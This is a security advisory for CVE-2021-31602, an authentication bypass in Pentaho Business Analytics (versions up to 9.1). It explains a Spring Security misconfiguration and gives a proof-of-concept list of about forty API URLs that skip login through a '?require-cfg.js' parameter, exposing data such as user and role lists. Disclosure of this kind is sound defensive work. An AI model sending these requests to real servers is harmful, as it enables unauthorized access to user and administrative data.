Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Authentication Bypass of Spring APIs
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: 8th February 2021
Solution Date: May 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-31602
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka
--- ### --- ### ---
Product Description:
Pentaho is business intelligence (BI) software that provides
data
integration, OLAP services, reporting, information dashboards, data
mining
and extract, transform, load (ETL) capabilities. Its headquarters
are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in
2015 and
in 2017 became part of Hitachi Vantara.
( Source: https://en.wikipedia.org/wiki/Pentaho )
--- ### --- ### ---
Vulnerability Details:
The security model of Pentaho Business Analytics consists of
different
layers of Access Control (AC). The applicationContext directives
defined in
the applicationContext-spring-security.xml file were of particular
interest
and further examination of the access control entries revealed
the
following misconfigurations.
--- ~~~ --- ~~~ ---
<sec:intercept-url pattern="\A/api/.*require-cfg.js.*\Z"
access="Anonymous,Authenticated" />
<sec:intercept-url pattern="\A/api/.*require-js-cfg.js.*\Z"
access="Anonymous,Authenticated" />
<sec:intercept-url pattern="\A/api/.*\Z" access="Authenticated"
/>
--- ~~~ --- ~~~ ---
Specifically, the last directive explicitly declares that the
available
endpoints require that users are authenticated. However, the first
and
second directives bypass this requirement by allowing
unauthenticated
access to arbitrary "/api/*" endpoints when the "?require-cfg.js"
URL
parameter is present. As a result, it is possible for
unauthenticated users
to access arbitrary Pentaho API endpoints by including the
"?require-cfg.js" or "?require-js-cfg.js" URL parameter as part of
the HTTP
request.
For example, the following URL can be used to retrieve the
Pentaho API
version,
http://localhost:8080/pentaho/api/version/show?require-cfg.js
--- ### --- ### ---
Proof of Concept (PoC):
See Ginger ( https://github.com/HawSec/ginger )
or
The following is a non-exhaustive list of the Pentaho API
endpoints
susceptible to this vulnerability.
http://localhost:8080/pentaho/api/version/show?require-cfg.js
http://localhost:8080/pentaho/api/version/softwareUpdates?require-cfg.js
http://localhost:8080/pentaho/api/emailconfig/isValid?require-cfg.js
http://localhost:8080/pentaho/api/authorization/action/isauthorized?require-cfg.js
http://localhost:8080/pentaho/api/userroledao/userRoles?require-cfg.js
http://localhost:8080/pentaho/api/system/locale?require-cfg.js
http://localhost:8080/pentaho/api/system/timezones?require-cfg.js
http://localhost:8080/pentaho/api/system/executableTypes?require-cfg.js
http://localhost:8080/pentaho/api/theme/list?require-cfg.js
http://localhost:8080/pentaho/api/theme/active?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/users?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/roles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/allRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/systemRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/extraRoles?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/permission-users?require-cfg.js
http://localhost:8080/pentaho/api/userrolelist/permission-roles?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/state?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/jobinfotest?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/blockoutjobs?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/hasblockouts?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/blockout/shouldFireNow?require-cfg.js
http://localhost:8080/pentaho/api/scheduler/generatedContentForSchedule?require-cfg.js
http://localhost:8080/pentaho/api/repos/executableTypes?require-cfg.js
http://localhost:8080/pentaho/api/plugin-manager/overlays?require-cfg.js
http://localhost:8080/pentaho/api/mantle/locale?require-cfg.js
http://localhost:8080/pentaho/api/mantle/isAuthenticated?require-cfg.js
http://localhost:8080/pentaho/api/mantle/getAdminContent?require-cfg.js
http://localhost:8080/pentaho/api/mantle/settings?require-cfg.js
http://localhost:8080/pentaho/api/mantle/registeredPlugins?require-cfg.js
http://localhost:8080/pentaho/api/service/assignment?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/reservedCharacters?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/generatedContentForSchedule?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/canAdminister?require-cfg.js
http://localhost:8080/pentaho/api/repo/files/reservedCharactersDisplay?require-cfg.js
http://localhost:8080/pentaho/api/session/userName?require-cfg.js
http://localhost:8080/pentaho/api/session/workspaceDirForUser/{user}?require-cfg.js
http://localhost:8080/pentaho/api/session/setredirect?require-cfg.js
http://localhost:8080/pentaho/api/session/userWorkspaceDir?require-cfg.js
--- ### --- ### ---
Credits:
This vulnerability was discovered by Alberto Favero & Altion Malka
--- ### --- ### ---
--
BlackHawk -
Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.

